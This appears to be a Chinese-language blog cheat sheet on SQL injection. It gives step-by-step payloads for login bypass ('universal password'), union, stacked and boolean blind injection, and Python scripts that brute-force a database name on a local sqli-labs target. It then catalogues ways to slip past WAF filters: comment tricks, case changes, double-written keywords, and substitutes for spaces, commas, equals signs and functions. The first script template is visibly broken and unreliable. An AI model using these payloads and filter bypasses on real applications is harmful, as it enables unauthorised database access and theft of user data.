常规操作流程

1.测试有多少字段
2.爆出数据库名
3.爆出数据库里的表
4.爆出表的列名
5.爆出所有数据

常见注入方法:

万能密码

1
2
3
' or '1'='1	//select username,age from userinfo where id='' or '1'='1'
' or 1=1# //select username,age from userinfo where id='' or 1=1#'
'=0# //select username,age from userinfo where id=''=0#

union联合查询

1
2
xx' union select 1,(select database()) #
xx' union select (select database()),2 or '

堆叠注入

1
2
3
1';show databases;#
1';show tables from supersqli;#
1';show columns from __;

布尔盲注

页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
常用函数:

1
2
3
4
5
Length()		//函数 返回字符串的长度
Substr() //截取字符串
Ascii() //返回字符的ascii码
sleep(n) //将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3) //判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

脚本模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import request
import re

pattern = re.compile(r'2014-11-16') #此处是关键字

for count in range(1,100):
for character in range(0,128):
payload = 'user()'
request = urllib2.Request('')
#其中单引号中放注入的url
request.add_header('User-Agent','')
#其中单引号中放User-Agent对应的东东!
response = urllib2.urlopen(request)
#print character
match = pattern.search(response.read())
if match:
if character == 0:
exit(0)
else:
print '%d -- %s'%(count,chr(character))
#print match.group()
break

爆数据库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

import requests
def database_len():
for i in range(1,10):
url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
payload = '''?id=1' and length(database())>%s''' %i
# print(url+payload+'%23')
r = requests.get(url+payload+'%23')
if 'You are in' in r.text:
print(i)

else:
#print('false')
print('database_length:',i)
break
database_len()

def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i

print(name)

break
print('database_name:',name)



database_name()

绕过方法:

注释符号绕过

1
2
3
4
-- 注释内容
# 注释内容
/*注释内容*/
;%00

大小写绕过

某些关键字可能被过滤,利用sql语句对大小写不敏感的特点,可以任意变换关键字大小写来绕过过滤;

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在/*...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

双写关键字绕过

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求

空格过滤绕过

1
2
3
4
5
/**/
()
\n(%0a)
`(grave)
tab(%09)

过滤or and xor not 绕过

1
2
3
4
and = &&
or = ||
xor = ^
not = !

过滤等号=绕过

1.不加通配符的like执行的效果和=一致,所以可以用来绕过
2.rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样
3.regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
4.使用大小于号来绕过
5.<> 等价于 !=,所以在前面再加一个!结果就是等号了
6.等号绕过也可以使用strcmp(str1,str2)函数、between关键字等

过滤逗号绕过

from pos for len

1
2
3
4
5
6
7
8
9
#
select substr("string",1,3);
select substr("string" from 1 for 3);
#
union select 1,2,3
union select * from (select 1)a join (select 2)b join(select 3)c
#
select * from users limit 2,1;
select * from users limit 1 offset 2;

过滤函数绕过

sleep() —>benchmark()
ascii()–>hex()、bin()
group_concat()–>concat_ws()
substr(),substring(),mid()
user() —> @@user、datadir–>@@datadir
ord()–>ascii()

参考

https://blog.csdn.net/huanghelouzi/article/details/82995313
https://blog.csdn.net/weixin_40709439/article/details/81355856
https://www.dazhuanlan.com/2019/12/09/5dee2bf66bd36/
https://xz.aliyun.com/t/7169